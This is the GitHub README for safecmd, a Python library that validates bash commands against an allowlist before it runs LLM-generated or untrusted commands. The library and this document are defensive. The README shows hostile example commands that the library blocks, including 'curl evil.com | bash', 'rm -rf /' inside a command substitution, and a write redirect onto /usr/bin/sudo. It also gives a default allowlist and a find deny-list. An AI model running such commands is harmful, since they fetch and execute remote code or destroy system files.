Skip to content

AnswerDotAI/safecmd

Repository files navigation

safecmd

Introduction

Running shell commands from untrusted sources—like LLM-generated code, user input, or third-party scripts—is risky. A command that looks innocent might contain hidden redirects, command substitutions, or dangerous flags that could modify or delete files, exfiltrate data, or worse.

safecmd solves this by validating bash commands against an allowlist before execution. Instead of trying to blacklist dangerous patterns (which is error-prone and easy to bypass), safecmd uses a generous allowlist of read-only and easily-reverted commands that are safe to run.

The key innovation is that safecmd uses a proper bash parser (shfmt) to build an AST (Abstract Syntax Tree) of your command. This means it correctly handles complex bash syntax—pipelines, command substitutions, subshells, heredocs, and more—extracting and validating every command, even nested ones, before anything executes.

The result: you can safely run commands like git log | grep "fix" or find . -name "*.py" | xargs cat knowing that if someone tries to sneak in rm -rf / or curl evil.com | bash, it’ll be blocked before it runs. This makes safecmd ideal for building LLM-powered CLI tools, interactive shells that accept user input, or automation pipelines that process untrusted scripts.

Installation

Install safecmd from PyPI:

pip install safecmd

This will automatically install the shfmt-py dependency, which provides the shfmt binary. If you’re doing a local user install (pip install --user), make sure ~/.local/bin is in your PATH.

Quick Start

from safecmd import safe_run

By default, safe_run allows common read-only commands like cat, grep, ls, head, tail, diff, wc, and safe git subcommands (git log, git status, git diff). The find command is allowed but with dangerous flags like -exec and -delete blocked.

Bash command lines that are generally safe run as usual:

safe_run('ls -la | grep index')

However, any command or op not on the allowed list results in an exception - including in nested commands, pipelines, and so forth:

safe_run('echo $(rm -rf /)')
DisallowedCmd: Disallowed command: rm -rf /
�[31m---------------------------------------------------------------------------�[39m
�[31mDisallowedCmd�[39m                             Traceback (most recent call last)
�[36mCell�[39m�[36m �[39m�[32mIn[1]�[39m�[32m, line 2�[39m
�[32m      1�[39m �[38;5;66;03m#| eval:false�[39;00m
�[32m----> �[39m�[32m2�[39m �[43msafe_run�[49m�[43m(�[49m�[33;43m'�[39;49m�[33;43mecho $(rm -rf /)�[39;49m�[33;43m'�[39;49m�[43m)�[49m

�[36mFile �[39m�[32m~/teach/safecmd/safecmd/core.py:93�[39m, in �[36msafe_run�[39m�[34m(cmd, cmds, ops)�[39m
�[32m     91�[39m �[38;5;28;01mif�[39;00m bad_ops := used_ops - ops: �[38;5;28;01mraise�[39;00m DisallowedOps(bad_ops)
�[32m     92�[39m �[38;5;28;01mfor�[39;00m c �[38;5;129;01min�[39;00m commands:
�[32m---> �[39m�[32m93�[39m     �[38;5;28;01mif�[39;00m �[38;5;129;01mnot�[39;00m validate_cmd(c, cmds): �[38;5;28;01mraise�[39;00m DisallowedCmd(c)
�[32m     94�[39m �[38;5;28;01mreturn�[39;00m run(cmd)

�[31mDisallowedCmd�[39m: Disallowed command: rm -rf /
safe_run('echo danger > /usr/bin/sudo')
DisallowedOps: Disallowed operators: {'>'}
�[31m---------------------------------------------------------------------------�[39m
�[31mDisallowedOps�[39m                             Traceback (most recent call last)
�[36mCell�[39m�[36m �[39m�[32mIn[1]�[39m�[32m, line 2�[39m
�[32m      1�[39m �[38;5;66;03m#| eval:false�[39;00m
�[32m----> �[39m�[32m2�[39m �[43msafe_run�[49m�[43m(�[49m�[33;43m'�[39;49m�[33;43mecho danger > /usr/bin/sudo�[39;49m�[33;43m'�[39;49m�[43m)�[49m

�[36mFile �[39m�[32m~/teach/safecmd/safecmd/core.py:91�[39m, in �[36msafe_run�[39m�[34m(cmd, cmds, ops)�[39m
�[32m     89�[39m �[38;5;28;01mif�[39;00m ops �[38;5;129;01mis�[39;00m �[38;5;28;01mNone�[39;00m: ops = ok_ops
�[32m     90�[39m commands, used_ops = extract_commands(cmd)
�[32m---> �[39m�[32m91�[39m �[38;5;28;01mif�[39;00m bad_ops := used_ops - ops: �[38;5;28;01mraise�[39;00m DisallowedOps(bad_ops)
�[32m     92�[39m �[38;5;28;01mfor�[39;00m c �[38;5;129;01min�[39;00m commands:
�[32m     93�[39m     �[38;5;28;01mif�[39;00m �[38;5;129;01mnot�[39;00m validate_cmd(c, cmds): �[38;5;28;01mraise�[39;00m DisallowedCmd(c)

�[31mDisallowedOps�[39m: Disallowed operators: {'>'}
safe_run('sudo ls')
DisallowedCmd: Disallowed command: sudo ls
�[31m---------------------------------------------------------------------------�[39m
�[31mDisallowedCmd�[39m                             Traceback (most recent call last)
�[36mCell�[39m�[36m �[39m�[32mIn[1]�[39m�[32m, line 2�[39m
�[32m      1�[39m �[38;5;66;03m#| eval:false�[39;00m
�[32m----> �[39m�[32m2�[39m �[43msafe_run�[49m�[43m(�[49m�[33;43m'�[39;49m�[33;43msudo ls�[39;49m�[33;43m'�[39;49m�[43m)�[49m

�[36mFile �[39m�[32m~/teach/safecmd/safecmd/core.py:93�[39m, in �[36msafe_run�[39m�[34m(cmd, cmds, ops)�[39m
�[32m     91�[39m �[38;5;28;01mif�[39;00m bad_ops := used_ops - ops: �[38;5;28;01mraise�[39;00m DisallowedOps(bad_ops)
�[32m     92�[39m �[38;5;28;01mfor�[39;00m c �[38;5;129;01min�[39;00m commands:
�[32m---> �[39m�[32m93�[39m     �[38;5;28;01mif�[39;00m �[38;5;129;01mnot�[39;00m validate_cmd(c, cmds): �[38;5;28;01mraise�[39;00m DisallowedCmd(c)
�[32m     94�[39m �[38;5;28;01mreturn�[39;00m run(cmd)

�[31mDisallowedCmd�[39m: Disallowed command: sudo ls

To see the current allowlist, check the configuration file stored in ~/.config/safecmd/config.ini (Linux), ~/Library/Application Support/safecmd/config.ini (macOS), or %LOCALAPPDATA%\safecmd\config.ini (Windows). Edit this file to customize your allowlist permanently, or pass custom values directly to safe_run().

from fastcore.xdg import xdg_config_home
cfg_path = xdg_config_home() / 'safecmd' / 'config.ini'
print(cfg_path.read_text())
[DEFAULT]
ok_ops = |, <, &&, ||, ;

ok_cmds = cat, head, tail, less, more, bat
    # Directory listing
    ls, tree, locate
    # Search
    grep, rg, ag, ack, fgrep, egrep
    # Text processing
    cut, sort, uniq, wc, tr, column
    # File info
    file, stat, du, df, which, whereis, type
    # Comparison
    diff, cmp, comm
    # Archives
    tar, unzip, gunzip, bunzip2, unrar
    # Network
    curl, wget, ping, dig, nslookup, host
    # System info
    date, cal, uptime, whoami, hostname, uname, env, printenv
    # Utilities
    echo, printf, yes, seq, basename, dirname, realpath
    # Git (read-only)
    git log, git show, git diff, git status, git branch, git tag, git remote,
    git stash list, git blame, git shortlog, git describe, git rev-parse,
    git ls-files, git ls-tree, git cat-file, git config --get, git config --list
    # Git (workspace)
    git fetch, git add, git commit, git switch, git checkout
    # Find with deny-list
    find:-exec|-execdir|-delete|-ok|-okdir

How It Works

When you call safe_run(), safecmd doesn’t just string-match or regex your command—it properly parses it. Here’s what happens:

1. Parse the bash command into an AST

safecmd uses shfmt, a robust bash parser written in Go, to convert your command string into a JSON Abstract Syntax Tree. This is the same parser used by shell formatters and linters, so it handles all the edge cases that trip up naive approaches: quoted strings, escaped characters, heredocs, nested substitutions, and more.

For example, the command echo "hello" | grep h becomes a tree structure showing that there’s a pipeline with two commands (echo and grep), each with their arguments properly identified.

2. Extract all commands recursively

safecmd walks the AST and extracts every command that would be executed—including commands hidden inside: - Pipelines (cmd1 | cmd2) - Command substitutions ($(cmd) or `cmd`) - Subshells ((cmd)) - Logical chains (cmd1 && cmd2, cmd1 || cmd2)

This is crucial: a command like ls $(rm -rf /) looks like it starts with ls, but the nested rm would execute first. safecmd catches this because it extracts all commands from the AST.

3. Validate against the allowlist

Each extracted command is checked against ok_cmds using prefix matching. A simple entry like 'ls' allows ls, ls -la, ls /home. A multi-word entry like 'git status' only matches commands starting with those exact words—so git status is allowed but git push is not.

Some commands also have a denied flags list. For instance, find is allowed, but if any argument matches -exec, -delete, or -ok, the command is rejected.

4. Validate operators

The operators used in the command (pipes, redirects, logical operators) are also checked. By default, |, &&, ||, ;, and < (input redirect) are allowed, but > and >> (output redirects) are blocked to prevent file writes.

5. Execute if safe

Only after all commands and operators pass validation does safecmd actually run the command. If anything fails validation, you get a DisallowedCmd or DisallowedOps exception—nothing executes.

When to Use safecmd

safecmd is designed for situations where you need to run shell commands that you don’t fully control. Common use cases include:

LLM-powered tools: If you’re building an AI assistant that can run shell commands (like solveit itself), safecmd lets you execute LLM-generated commands without worrying that a hallucination or prompt injection will cause damage.

Interactive CLIs: Building a tool where users type shell commands? safecmd lets you offer shell functionality while preventing users (or attackers) from running dangerous commands.

Automation pipelines: Processing scripts or commands from external sources—config files, APIs, webhooks—where you want to allow some shell operations but not arbitrary code execution.

Sandboxed environments: When you want to give users shell access but restrict what they can do, safecmd provides a lightweight alternative to containerization for command-level restrictions.

safecmd is not a replacement for proper sandboxing if you’re running completely untrusted code. It’s best suited for scenarios where you want to allow a known set of useful commands while blocking obviously dangerous ones. It does not provide protection from an adversary proactively trying to break in, and does not provide any guarantees.

About

Call commands safely by checking them rigorously against an allow-list

Resources

License

Stars

Watchers

Forks

Contributors 3

  •  
  •  
  •